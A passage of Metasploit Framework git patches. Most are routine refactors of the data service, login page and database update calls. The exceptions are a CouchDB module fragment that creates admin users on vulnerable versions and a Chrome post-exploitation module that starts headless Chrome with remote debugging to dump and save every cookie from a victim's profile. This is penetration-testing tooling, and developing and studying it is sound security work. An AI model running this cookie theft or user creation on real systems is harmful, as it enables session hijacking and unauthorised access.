"/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username 'method' => 'PUT', 'ctype' => 'text/json', 'data' => data, }, timeout) - if res && res.code == 200 - print_good("User #{username} created with password #{password}. Connect to http://#{rhost}:#{rport}/_utils/ to login.") - else - print_error("Change Failed :(") + unless res && res.code == 200 + print_error("#{peer} - Change Failed") + return end + + print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.") end def run username = datastore['HttpUsername'] password = datastore['HttpPassword'] - auth = basic_auth(username, password) if username && password - if datastore['SERVERINFO'] - get_server_info(auth) - end if datastore['CREATEUSER'] - get_version + fail_with(Failure::Unknown, 'get_version failed in run') unless get_version version = Gem::Version.new(@version) - print_good "Found CouchDB version #{version}" + print_good("#{peer} - Found CouchDB version #{version}") create_user if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) end + auth = basic_auth(username, password) if username && password + get_server_info(auth) if datastore['SERVERINFO'] get_dbs(auth) end - end From 02fda8625a4a13900141d909ee697baa9165dce8 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Mon, 7 Jan 2019 13:52:01 -0600 Subject: [PATCH 177/220] Address code review comments. - Fix CSS on submit button - Dont generate a new token when logging in to web form - Also added text to account page to send the user to the login page when not logged in --- lib/msf/core/web_services/public/msf-ws.css | 2 +- lib/msf/core/web_services/views/auth/account.erb | 2 ++ lib/msf/core/web_services/views/auth/login.erb | 12 ++++++++---- 3 files changed, 11 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/web_services/public/msf-ws.css b/lib/msf/core/web_services/public/msf-ws.css index 44f3c72e3699..6b0da3bf22f3 100644 --- a/lib/msf/core/web_services/public/msf-ws.css +++ b/lib/msf/core/web_services/public/msf-ws.css @@ -86,7 +86,7 @@ input[type=text], input[type=password] { height: 34px; } -button { +input[type=button] { border-color: rgba(0, 0, 0, 0.6); border-width: 1px; cursor: pointer; diff --git a/lib/msf/core/web_services/views/auth/account.erb b/lib/msf/core/web_services/views/auth/account.erb index 17b556b01123..0840cbc2e9d3 100644 --- a/lib/msf/core/web_services/views/auth/account.erb +++ b/lib/msf/core/web_services/views/auth/account.erb @@ -61,6 +61,8 @@
<%= !warden.user(:user).nil? && !warden.user(:user).persistence_token.nil? ? warden.user(:user).persistence_token : 'none' %>
+ <% else %> +
<% end %> diff --git a/lib/msf/core/web_services/views/auth/login.erb b/lib/msf/core/web_services/views/auth/login.erb index a9496069268b..98942c4dc022 100644 --- a/lib/msf/core/web_services/views/auth/login.erb +++ b/lib/msf/core/web_services/views/auth/login.erb @@ -26,14 +26,18 @@ $(document).ready(function(){ $("#submit").on('click', function(){ $.ajax({ - url: '<%= AuthServlet.api_generate_token_path %>', + url: '<%= AuthServlet.api_login_path %>', type : "POST", - dataType : 'json', data : ConvertFormToJSON($("#login_form")), contentType: "application/json; charset=utf-8", processData: false, - success : function(result) { - $(location).attr('href', '<%= AuthServlet.api_account_path %>') + success : function(data) { + // TODO: This currently always redirects the user to the /auth/account page. + // This is because the POST /login endpoint always returns a redirect, which + // is not easily handled by Javascript AJAX requests. When the /login endpoint + // is more fully fleshed out we should add proper handling for valid and + // invalid login attempts. + window.location.replace('<%= AuthServlet.api_account_path %>'); }, error: function(xhr, resp, text) { console.log(xhr, resp, text); From 6641c606b218a17024534f906542f6a6e7269c16 Mon Sep 17 00:00:00 2001 From: Erin Bleiweiss Date: Mon, 7 Jan 2019 14:32:27 -0600 Subject: [PATCH 178/220] Add support for db import from remote data service --- .../remote/http/data_service_auto_loader.rb | 5 +++- .../http/remote_db_import_data_service.rb | 19 ++++++++++++ lib/msf/core/db_manager/host.rb | 2 +- .../import/metasploit_framework/xml.rb | 2 +- .../core/web_services/metasploit_api_app.rb | 4 ++- .../web_services/servlet/db_import_servlet.rb | 30 +++++++++++++++++++ 6 files changed, 58 insertions(+), 4 deletions(-) create mode 100644 lib/metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb create mode 100644 lib/msf/core/web_services/servlet/db_import_servlet.rb diff --git a/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb b/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb index 615165609c12..d359a7e0cf11 100644 --- a/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb +++ b/lib/metasploit/framework/data_service/remote/http/data_service_auto_loader.rb @@ -19,6 +19,7 @@ module DataServiceAutoLoader autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service' autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service' autoload :RemoteMsfDataService, 'metasploit/framework/data_service/remote/http/remote_msf_data_service' + autoload :RemoteDbImportDataService, 'metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb' include RemoteHostDataService include RemoteEventDataService @@ -37,4 +38,6 @@ module DataServiceAutoLoader include RemoteDbExportDataService include RemoteVulnAttemptDataService include RemoteMsfDataService -end \ No newline at end of file + include RemoteDbImportDataService + +end diff --git a/lib/metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb new file mode 100644 index 000000000000..f177cc7c6875 --- /dev/null +++ b/lib/metasploit/framework/data_service/remote/http/remote_db_import_data_service.rb @@ -0,0 +1,19 @@ +require 'metasploit/framework/data_service/remote/http/response_data_helper' + +module RemoteDbImportDataService + include ResponseDataHelper + + DB_IMPORT_API_PATH = '/api/v1/db-import' + + def import_file(opts) + filename = opts[:filename] + data = "" + File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + + opts[:data] = Base64.urlsafe_encode64(data) + + self.post_data_async(DB_IMPORT_API_PATH, opts) + end +end diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index a4c2fbebb002..bce68a40f3a3 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -241,7 +241,7 @@ def report_host(opts) host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info # Set default fields if needed - host.state = Msf::HostState::Alive unless host.state + host.state = Msf::HostState::Alive if host.state.nil? || host.state.empty? host.comm = '' unless host.comm host.workspace = wspace unless host.workspace diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index 19eb3a97d223..f71bb7f25615 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -229,7 +229,7 @@ def import_msf_web_vuln_element(element, options={}, ¬ifier) # TODO: loot, tasks, and reports def import_msf_xml(args={}, &block) data = args[:data] - wspace = args[:wspace] || workspace + wspace = args[:wspace] || workspace || Msf::Util::DBManager.process_opts_workspace(args, framework).name bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] doc = Nokogiri::XML::Reader.from_memory(data) diff --git a/lib/msf/core/web_services/metasploit_api_app.rb b/lib/msf/core/web_services/metasploit_api_app.rb index ee4400d5a9d7..3078156ac8bc 100644 --- a/lib/msf/core/web_services/metasploit_api_app.rb +++ b/lib/msf/core/web_services/metasploit_api_app.rb @@ -25,6 +25,7 @@ require 'msf/core/web_services/servlet/vuln_attempt_servlet' require 'msf/core/web_services/servlet/user_servlet' require 'msf/core/web_services/servlet/module_search_servlet' +require 'msf/core/web_services/servlet/db_import_servlet' class MetasploitApiApp < Sinatra::Base helpers ServletHelper @@ -51,6 +52,7 @@ class MetasploitApiApp < Sinatra::Base register VulnAttemptServlet register UserServlet register ModuleSearchServlet + register DbImportServlet configure do set :sessions, {key: 'msf-ws.session', expire_after: 300} @@ -97,4 +99,4 @@ class MetasploitApiApp < Sinatra::Base action: AuthServlet.api_unauthenticated_path end -end \ No newline at end of file +end diff --git a/lib/msf/core/web_services/servlet/db_import_servlet.rb b/lib/msf/core/web_services/servlet/db_import_servlet.rb new file mode 100644 index 000000000000..3c6f1439f60d --- /dev/null +++ b/lib/msf/core/web_services/servlet/db_import_servlet.rb @@ -0,0 +1,30 @@ +module DbImportServlet + + def self.api_path + '/api/v1/db-import' + end + + def self.registered(app) + app.post DbImportServlet.api_path, &db_import + end + + ####### + private + ####### + + def self.db_import + lambda do + warden.authenticate! + + job = lambda do |opts| + db_filename = File.basename(opts[:filename]) + db_local_path = File.join(Msf::Config.local_directory, db_filename) + opts[:path] = process_file(opts[:data], db_local_path) + get_db.import_file(opts) + end + + exec_report_job(request, &job) + end + end + +end From 771469f4cd794059f54220988cb0c118ee3abd89 Mon Sep 17 00:00:00 2001 From: Erin Bleiweiss Date: Mon, 7 Jan 2019 16:24:13 -0600 Subject: [PATCH 179/220] Update all Mdm::xx.update() instances --- lib/msf/core/db_manager/host.rb | 3 ++- lib/msf/core/db_manager/loot.rb | 5 +++-- lib/msf/core/db_manager/note.rb | 3 ++- lib/msf/core/db_manager/service.rb | 3 ++- lib/msf/core/db_manager/session.rb | 3 ++- lib/msf/core/db_manager/user.rb | 6 ++++-- lib/msf/core/db_manager/vuln_detail.rb | 5 +++-- lib/msf/core/db_manager/workspace.rb | 2 +- 8 files changed, 19 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index a4c2fbebb002..84a6a7eccef2 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -283,7 +283,8 @@ def update_host(opts) opts[:workspace] = wspace if wspace id = opts.delete(:id) - Mdm::Host.update(id, opts) + host = Mdm::Host.find(id) + host.update!(opts) } end diff --git a/lib/msf/core/db_manager/loot.rb b/lib/msf/core/db_manager/loot.rb index 0109c2f85449..e8c15ece358e 100644 --- a/lib/msf/core/db_manager/loot.rb +++ b/lib/msf/core/db_manager/loot.rb @@ -102,7 +102,8 @@ def update_loot(opts) opts[:workspace] = wspace if wspace id = opts.delete(:id) - Mdm::Loot.update(id, opts) + loot = Mdm::Loot.find(id) + loot.update!(opts) } end @@ -128,4 +129,4 @@ def delete_loot(opts) return deleted } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/note.rb b/lib/msf/core/db_manager/note.rb index 0177691852a7..90e46cd039b1 100644 --- a/lib/msf/core/db_manager/note.rb +++ b/lib/msf/core/db_manager/note.rb @@ -200,7 +200,8 @@ def update_note(opts) opts[:workspace] = wspace if wspace id = opts.delete(:id) - Mdm::Note.update(id, opts) + note = Mdm::Note.find(id) + note.update!(opts) } end diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index 852b72442ca4..c977d07a4df1 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -170,7 +170,8 @@ def update_service(opts) ::ActiveRecord::Base.connection_pool.with_connection { id = opts.delete(:id) - Mdm::Service.update(id, opts) + service = Mdm::Service.find(id) + service.update!(opts) } end end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 379ee6a22dca..f97f727c6114 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -188,7 +188,8 @@ def update_session(opts) ::ActiveRecord::Base.connection_pool.with_connection { id = opts.delete(:id) - ::Mdm::Session.update(id, opts) + session = ::Mdm::Session.find(id) + session.update!(opts) } end diff --git a/lib/msf/core/db_manager/user.rb b/lib/msf/core/db_manager/user.rb index 073cbb87bc4d..1543a9eaf66c 100644 --- a/lib/msf/core/db_manager/user.rb +++ b/lib/msf/core/db_manager/user.rb @@ -75,7 +75,8 @@ def report_user(opts) def update_user(opts) ::ActiveRecord::Base.connection_pool.with_connection { id = opts.delete(:id) - Mdm::User.update(id, opts) + user = Mdm::User.find(id) + user.update!(opts) } end @@ -133,7 +134,8 @@ def create_new_user_token(opts) token_length = opts[:token_length] || MIN_TOKEN_LENGTH # NOTE: repurposing persistence_token in the database as the API token - Mdm::User.update(opts[:id], {persistence_token: SecureRandom.hex(token_length)}).persistence_token + user = Mdm::User.find(opts[:id]) + user.update!({persistence_token: SecureRandom.hex(token_length)}).persistence_token end end diff --git a/lib/msf/core/db_manager/vuln_detail.rb b/lib/msf/core/db_manager/vuln_detail.rb index 7d3e52ecccfc..ce69354ed278 100644 --- a/lib/msf/core/db_manager/vuln_detail.rb +++ b/lib/msf/core/db_manager/vuln_detail.rb @@ -25,7 +25,8 @@ def report_vuln_details(vuln, details) def update_vuln_details(details) ::ActiveRecord::Base.connection_pool.with_connection { criteria = details.delete(:key) || {} - ::Mdm::VulnDetail.update(key, details) + vuln_detail = ::Mdm::VulnDetail.find(key) + vuln_detail.update!(details) } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/workspace.rb b/lib/msf/core/db_manager/workspace.rb index 1a3117a15983..ea236923b09a 100644 --- a/lib/msf/core/db_manager/workspace.rb +++ b/lib/msf/core/db_manager/workspace.rb @@ -99,7 +99,7 @@ def update_workspace(opts) ::ActiveRecord::Base.connection_pool.with_connection { ws_to_update = workspaces({ id: opts.delete(:id) }).first default_renamed = true if ws_to_update.name == DEFAULT_WORKSPACE_NAME - updated_ws = Mdm::Workspace.update(ws_to_update.id, opts) + updated_ws = ws_to_update.update!(opts) add_workspace({ name: DEFAULT_WORKSPACE_NAME }) if default_renamed updated_ws } From cfa22bb4ec8ea27072fee1adc2eb19d60c52eb68 Mon Sep 17 00:00:00 2001 From: Erin Bleiweiss Date: Mon, 7 Jan 2019 16:33:50 -0600 Subject: [PATCH 180/220] Exclude key from VulnDetail update --- lib/msf/core/db_manager/vuln_detail.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/vuln_detail.rb b/lib/msf/core/db_manager/vuln_detail.rb index ce69354ed278..d52924aa7130 100644 --- a/lib/msf/core/db_manager/vuln_detail.rb +++ b/lib/msf/core/db_manager/vuln_detail.rb @@ -26,7 +26,7 @@ def update_vuln_details(details) ::ActiveRecord::Base.connection_pool.with_connection { criteria = details.delete(:key) || {} vuln_detail = ::Mdm::VulnDetail.find(key) - vuln_detail.update!(details) + vuln_detail.update!(criteria) } end end From a95384e288831dcc4f506f08b9a28fd1acc9f0af Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 8 Jan 2019 06:57:56 -0600 Subject: [PATCH 181/220] Additional support and code cleanup --- modules/post/multi/gather/chrome_cookies.rb | 164 +++++++++++--------- 1 file changed, 91 insertions(+), 73 deletions(-) diff --git a/modules/post/multi/gather/chrome_cookies.rb b/modules/post/multi/gather/chrome_cookies.rb index 8624100c1c6f..d65c06a47c2f 100644 --- a/modules/post/multi/gather/chrome_cookies.rb +++ b/modules/post/multi/gather/chrome_cookies.rb @@ -6,17 +6,14 @@ class MetasploitModule < Msf::Post include Msf::Post::File - GET_ALL_COOKIES_REQUEST = '{"id": 1, "method": "Network.getAllCookies"}'.freeze - def initialize(info = {}) super(update_info(info, 'Name' => 'Chrome Gather Cookies', - 'Description' => " - Read all cookies from the Default Chrome profile of the target user. - ", + 'Description' => + "Read all cookies from the Default Chrome profile of the target user.", 'License' => MSF_LICENSE, 'Author' => ['mangopdf '], - 'Platform' => %w[linux unix bsd osx], + 'Platform' => %w[linux unix bsd osx windows], 'SessionTypes' => %w[meterpreter shell])) register_options( @@ -33,53 +30,55 @@ def configure_for_platform vprint_status("Platform: #{session.platform}") vprint_status("Type: #{session.type}") + if session.platform == 'windows' + username = get_env('USERNAME').strip + else + username = cmd_exec 'id -un' + end + + temp_storage_dir = datastore['WRITABLE_DIR'] + case session.platform when 'unix', 'linux', 'bsd', 'python' - @platform = :unix - @chrome = 'google-chrome' - @user_data_dir = "/home/#{session.username}/.config/google-chrome" - @temp_storage_dir = datastore['WRITABLE_DIR'] - @temp_storage_dir = @temp_storage_dir.nil? ? "/tmp" : @temp_storage_dir + chrome = 'google-chrome' + user_data_dir = "/home/#{username}/.config/google-chrome" + temp_storage_dir = temp_storage_dir.nil? ? "/tmp" : temp_storage_dir + @cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}" when 'osx' - @platform = :osx - @chrome = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' - @user_data_dir = expand_path "/Users/#{session.username}/Library/Application Support/Google/Chrome" - @temp_storage_dir = datastore['WRITABLE_DIR'] - @temp_storage_dir = @temp_storage_dir.nil? ? "/tmp" : @temp_storage_dir + chrome = '"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"' + user_data_dir = expand_path "/Users/#{username}/Library/Application Support/Google/Chrome" + temp_storage_dir = temp_storage_dir.nil? ? "/tmp" : temp_storage_dir + @cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}" when 'windows' - @platform = :windows - @chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"' - @user_data_dir = "\\Users\\#{session.username}\\AppData\\Local\\Google\\Chrome\\User Data" - @temp_storage_dir = datastore['WRITABLE_DIR'] - @temp_storage_dir = @temp_storage_dir.nil? ? "\\Users\\#{session.username}\\AppData\\Local\\Temp" : @temp_storage_dir + chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"' + user_data_dir = "\\Users\\#{username}\\AppData\\Local\\Google\\Chrome\\User Data" + temp_storage_dir = temp_storage_dir.nil? ? "\\Users\\#{username}\\AppData\\Local\\Temp" : temp_storage_dir + @cookie_storage_path = "#{user_data_dir}\\chrome_debug.log" else fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}" end unless datastore['CHROME_BINARY_PATH'].empty? - @chrome = datastore['CHROME_BINARY_PATH'] - end - - # Warn user that we are leaving a running process behind. - if session.type != "meterpreter" - print_warning "Non-meterpreter session used - This module will leave a headless Chrome process running on the target machine." + chrome = datastore['CHROME_BINARY_PATH'] end +=begin + # #writable? not supported on windows unless writable? @temp_storage_dir fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable" end +=end - @html_storage_path = create_cookie_stealing_html + @html_storage_path = create_cookie_stealing_html(temp_storage_dir) - @chrome_debugging_cmd = @chrome.to_s - @chrome_debugging_args = [] + chrome_debugging_args = [] - if @platform == :windows + if session.platform == 'windows' # `--headless` doesn't work on Windows, so use an offscreen window instead. - @chrome_debugging_args << '--window-position=0,0' - @chrome_debugging_args << '--enable-logging --v=1' + chrome_debugging_args << '--window-position=0,0' + chrome_debugging_args << '--enable-logging --v=1' else - @chrome_debugging_args << '--headless' + chrome_debugging_args << '--headless' end chrome_debugging_args_all_platforms = [ @@ -97,16 +96,15 @@ def configure_for_platform '--disable-gpu' ] - @chrome_debugging_args += chrome_debugging_args_all_platforms - - @chrome_debugging_args << " --user-data-dir=\"#{@user_data_dir}\"" - @chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}" - @chrome_debugging_args << " #{@html_storage_path}" + chrome_debugging_args << chrome_debugging_args_all_platforms + chrome_debugging_args << " --user-data-dir=\"#{user_data_dir}\"" + chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}" + chrome_debugging_args << " #{@html_storage_path}" - @chrome_debugging_args = @chrome_debugging_args.join(" ") + @chrome_debugging_cmd = "#{chrome} #{chrome_debugging_args.join(" ")}" end - def create_cookie_stealing_html + def create_cookie_stealing_html(temp_storage_dir) cookie_stealing_html = %( @@ -143,59 +141,71 @@ def create_cookie_stealing_html ) # Where to temporarily store the cookie-stealing html - if @platform == :windows - html_storage_path = "#{@temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html" + if session.platform == 'windows' + html_storage_path = "#{temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html" else - html_storage_path = "#{@temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html" + html_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html" end - write_file html_storage_path, cookie_stealing_html - + write_file(html_storage_path, cookie_stealing_html) html_storage_path end def cleanup - rm_f @html_storage_path - rm_f @chrome_debug_log + if file?(@html_storage_path) + vprint_status("Removing file #{@html_storage_path}") + rm_f @html_storage_path + end + + if file?(@cookie_storage_path) + vprint_status("Removing file #{@cookie_storage_path}") + rm_f @cookie_storage_path + end end def get_cookies - if @platform == :windows - # Write to the chrome debug log, since `--enable-logging` is incompatible with `--headless`. - chrome_cmd = "#{@chrome_debugging_cmd} #{@chrome_debugging_args}" - @chrome_debug_log = "#{@user_data_dir}\\chrome_debug.log" - kill_cmd = "taskkill /f /pid" - @cookie_storage_path = @chrome_debug_log - + if session.platform == 'windows' + chrome_cmd = "#{@chrome_debugging_cmd}" + kill_cmd = 'taskkill /f /pid' else - @cookie_storage_path = "#{@temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}" - chrome_cmd = "#{@chrome_debugging_cmd} #{@chrome_debugging_args} > #{@cookie_storage_path} 2>&1" - kill_cmd = "kill -9" + chrome_cmd = "#{@chrome_debugging_cmd} > #{@cookie_storage_path} 2>&1" + kill_cmd = 'kill -9' end - if session.type == "meterpreter" - chrome_pid = cmd_exec_get_pid chrome_cmd + if session.type == 'meterpreter' + chrome_pid = cmd_exec_get_pid(chrome_cmd) print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}" Rex.sleep(5) - chrome_output = read_file @cookie_storage_path - kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}" - print_status "Running #{kill_cmd}\ - #{kill_output}" + # read_file within if/else block because kill was terminating sessions on OSX during testing + chrome_output = read_file(@cookie_storage_path) + + # Kills meterpreter only non-windows sessions + if session.platform == 'windows' + kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}" + end else - chrome_output = cmd_exec chrome_cmd + # Using shell_command for backgrounding process (&) + client.shell_command("#{chrome_cmd} &") print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}" - print_warning "Leaving headless Chrome process running...." + Rex.sleep(5) + + chrome_output = read_file(@cookie_storage_path) end - # Parse out the cookies from Chrome's output - cookies_pattern = /REMOTE_DEBUGGING|\[.*\]/m - cookies_msg = cookies_pattern.match(chrome_output).to_s + cookies_msg = '' + chrome_output.each_line {|line| + if line =~ /REMOTE_DEBUGGING/ + print_good('Found Match') + cookies_msg = line + end + } - # Slice off the "REMOTE_DEBUGGING|" delimiter, and join the cookies back together (cookies may contain "|"). - cookies_json = cookies_msg.split("|")[1..-1].join("|") + fail_with(Failure::Unknown, 'Failed to retrieve cookie data') if cookies_msg.empty? - cookies_json + # Slice off the "REMOTE_DEBUGGING|" delimiter and trailing source info + cookies_json = cookies_msg.split("REMOTE_DEBUGGING|")[1] + cookies_json.split('", source: file')[0] end def save(msg, data, ctype = 'text/json') @@ -207,10 +217,18 @@ def save(msg, data, ctype = 'text/json') def run fail_with Failure::BadConfig, 'No session found, giving up' if session.nil? + # Issues with write_file. Maybe a path problem? + if session.platform == 'windows' && session.type == 'shell' + fail_with Failure::BadConfig, 'Windows shell session not support, giving up' + end + + unless session.platform == 'windows' && session.type == 'meterpreter' + print_warning 'This module will leave a headless Chrome process running on the target machine.' + end + configure_for_platform cookies = get_cookies cookies_parsed = JSON.parse cookies save "#{cookies_parsed.length} Chrome Cookies", cookies - cleanup end end From 8ca8206303477a27a936a7a6b4cd9a4128f83281 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 8 Jan 2019 07:15:50 -0600 Subject: [PATCH 182/220] Update docs --- .../modules/post/multi/gather/chrome_cookies.md | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/documentation/modules/post/multi/gather/chrome_cookies.md b/documentation/modules/post/multi/gather/chrome_cookies.md index b78d1e29711e..8a68f438f95f 100644 --- a/documentation/modules/post/multi/gather/chrome_cookies.md +++ b/documentation/modules/post/multi/gather/chrome_cookies.md @@ -10,7 +10,7 @@ The module writes a random 10-15 character file containing HTML to a directory y ## Vulnerable Application -This technique works on Chrome 59 or later on all operating systems. Note that this module does not yet support Windows, only Linux and macOS. +This technique works on Chrome 59 or later on all operating systems. This module has been tested on Windows, Linux, and OSX. Windows shell sessions are currently not supported. Chrome does not need to be running on the target machine for this module to work. @@ -24,7 +24,6 @@ Chrome does not need to be running on the target machine for this module to work ## Options - **CHROME_BINARY_PATH** The path to the user's Chrome binary. On Linux this defaults to searching for `google-chrome` in `$PATH`. On macOS, this defaults to `/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'`. If the module doesn't find any cookies, it may be that a different Chrome binary to the one the user normally uses is being run. In that case, you can change the Chrome binary executed with this option. @@ -33,7 +32,7 @@ Chrome does not need to be running on the target machine for this module to work Directory used to write temporary files. - Only one file is written, with a random 10-15 character alphanumeric filename. This file is html to be read by Chrome, and is deleted after use. + Two files are written, with random 10-15 character alphanumeric filenames. One file contains an html file for Chrome and the other is where the cookies are saved. Both files are deleted during cleanup. **REMOTE_DEBUGGING_PORT** @@ -69,12 +68,8 @@ msf post(multi/gather/chrome_cookies) > run [*] Post module execution completed ``` - ## Future features -### Windows support -This technique works on Windows as well, this module just doesn't implement the Windows-specific functionality. - ### Profiles This module only extracts cookies from the default Chrome profile. The target may have multiple, and you may which to extract cookies from all of them. This would require enumerating and extracting the profiles by name. Example code to extract cookies from a non-default Chrome profile can be found at https://github.com/defaultnamehere/cookie_crimes. @@ -82,5 +77,3 @@ This module only extracts cookies from the default Chrome profile. The target ma See https://github.com/defaultnamehere/cookie_crimes for more information and manual instructions for Windows. See https://mango.pdf.zone/stealing-chrome-cookies-without-a-password for the blog post in which this technique was first published. - - From d677eb16a9c801226f4d30697f45521afe4a5404 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 27 Dec 2018 21:38:46 -0500 Subject: [PATCH 183/220] Enhance session_events query --- lib/msf/core/db_manager/session_event.rb | 40 ++++++++++++++++++++++-- 1 file changed, 38 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/db_manager/session_event.rb b/lib/msf/core/db_manager/session_event.rb index 76a1a90f410b..23806a5190cd 100644 --- a/lib/msf/core/db_manager/session_event.rb +++ b/lib/msf/core/db_manager/session_event.rb @@ -1,16 +1,52 @@ module Msf::DBManager::SessionEvent + DEFAULT_ORDER = :desc + DEFAULT_LIMIT = 100 + DEFAULT_OFFSET = 0 + # Retrieves session events that are stored in the database. + # + # @param opts [Hash] Hash containing query key-value pairs based on the session events model. + # @option opts :id [Integer] A specific session event ID. If specified, all other options are ignored. + # + # Additional query options: + # @option opts :order [Symbol|String] The session event created_at sort order. + # Valid values: :asc, :desc, 'asc' or 'desc'. Default: :desc + # @option opts :limit [Integer] The maximum number of session events that will be retrieved from the query. + # Default: 100 + # @option opts :offset [Integer] The number of session events the query will begin reading from the start + # of the set. Default: 0 + # @option opts :search_term [String] Search regular expression used to filter results. + # All fields are converted to strings and results are returned if the pattern is matched. + # @return [Array] session events that are matched. def session_events(opts) ::ActiveRecord::Base.connection_pool.with_connection { # If we have the ID, there is no point in creating a complex query. if opts[:id] && !opts[:id].to_s.empty? return Array.wrap(Mdm::SessionEvent.find(opts[:id])) end - conditions = {} - Mdm::SessionEvent.all + # Passing workspace keys to the search will cause exceptions, so remove them if they were accidentally included. + Msf::Util::DBManager.delete_opts_workspace(opts) + + order = opts.delete(:order) + order = order.nil? ? DEFAULT_ORDER : order.to_sym + + limit = opts.delete(:limit) || DEFAULT_LIMIT + offset = opts.delete(:offset) || DEFAULT_OFFSET + + search_term = opts.delete(:search_term) + results = Mdm::SessionEvent.where(opts).order(created_at: order).offset(offset).limit(limit) + + if search_term && !search_term.empty? + re_search_term = /#{search_term}/mi + results = results.select { |event| + event.attribute_names.any? { |a| event[a.intern].to_s.match(re_search_term) } + } + end + results } end + # # Record a session event in the database # From fa783256eb8bdf66eb4c0faf261fa86ad36fc639 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 27 Dec 2018 21:39:21 -0500 Subject: [PATCH 184/220] Remove unnecessary argument default value --- .../remote/http/remote_session_event_data_service.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/data_service/remote/http/remote_session_event_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_session_event_data_service.rb index 4fc87c13de90..61960e0b20f5 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_session_event_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_session_event_data_service.rb @@ -6,7 +6,7 @@ module RemoteSessionEventDataService SESSION_EVENT_API_PATH = '/api/v1/session-events' SESSION_EVENT_MDM_CLASS = 'Mdm::SessionEvent' - def session_events(opts = {}) + def session_events(opts) path = get_path_select(opts, SESSION_EVENT_API_PATH) json_to_mdm_object(self.get_data(path, nil, opts), SESSION_EVENT_MDM_CLASS, []) end From 8c29319b25cb05ebe34f5dd4eefc53ae7a58028e Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 27 Dec 2018 21:40:08 -0500 Subject: [PATCH 185/220] Add session_events method --- .../data_service/proxy/session_event_data_proxy.rb | 10 ++++++++++ .../data_service/stubs/session_event_service.rb | 4 ++++ 2 files changed, 14 insertions(+) diff --git a/lib/metasploit/framework/data_service/proxy/session_event_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/session_event_data_proxy.rb index ebb58f5be845..3d66db2f37a0 100644 --- a/lib/metasploit/framework/data_service/proxy/session_event_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/session_event_data_proxy.rb @@ -1,5 +1,15 @@ module SessionEventDataProxy + def session_events(opts = {}) + begin + self.data_service_operation do |data_service| + data_service.session_events(opts) + end + rescue => e + self.log_error(e, "Problem retrieving session events") + end + end + def report_session_event(opts) 